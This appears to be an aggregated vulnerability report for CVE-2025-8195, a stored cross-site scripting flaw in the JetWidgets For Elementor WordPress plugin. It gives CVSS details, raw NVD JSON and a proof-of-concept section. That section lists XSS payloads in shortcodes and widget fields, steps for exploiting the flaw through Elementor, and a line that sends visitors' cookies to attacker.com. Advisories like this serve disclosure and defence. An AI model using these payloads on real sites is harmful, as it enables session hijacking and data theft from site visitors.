Security Vulnerability Report
中文
CVE-2025-8195 CVSS 6.4 MEDIUM

CVE-2025-8195

Published: 2025-12-13 16:16:56
Last Modified: 2026-04-15 00:35:42

Description

The JetWidgets For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Comparison and Subscribe widgets in all versions up to, and including, 1.0.20 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

JetWidgets For Elementor插件 <= 1.0.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-8195 PoC: Stored XSS via JetWidgets Image Comparison Widget --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Via Shortcode --> [jet_image_comparison before_image='<img src=x onerror=alert(document.cookie)>' after_image='normal.jpg'] <!-- Method 2: Via Subscribe Form Widget --> [jet_subscribe_form placeholder='<script>alert(String.fromCharCode(88,83,83))</script>'] <!-- Method 3: XSS payload in custom CSS class --> [jet_image_comparison before_image='test.jpg' css_class='" onerror="alert(document.domain)" data-x="'] <!-- Exploitation via Elementor Page Builder: --> <!-- 1. Navigate to Pages > Add New (or edit existing) --> <!-- 2. Click 'Edit with Elementor' --> <!-- 3. Add JetWidgets Image Comparison widget --> <!-- 4. In widget settings, inject XSS payload in Image URL or Title fields --> <!-- 5. Save and publish/preview --> <!-- 6. Any user visiting the page will trigger the XSS --> <!-- Example malicious payload: --> <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8195", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:55.803", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JetWidgets For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Comparison and Subscribe widgets in all versions up to, and including, 1.0.20 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/jetwidgets-for-elementor/tags/1.0.20/includes/addons/jet-widgets-image-comparison.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/jetwidgets-for-elementor/tags/1.0.20/includes/addons/jet-widgets-subscribe-form.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3364453%40jetwidgets-for-elementor&new=3364453%40jetwidgets-for-elementor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/jetwidgets-for-elementor/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9d8a03f7-a028-401c-9088-77e75dd365f6?source=cve", "source": "[email protected]"}]}}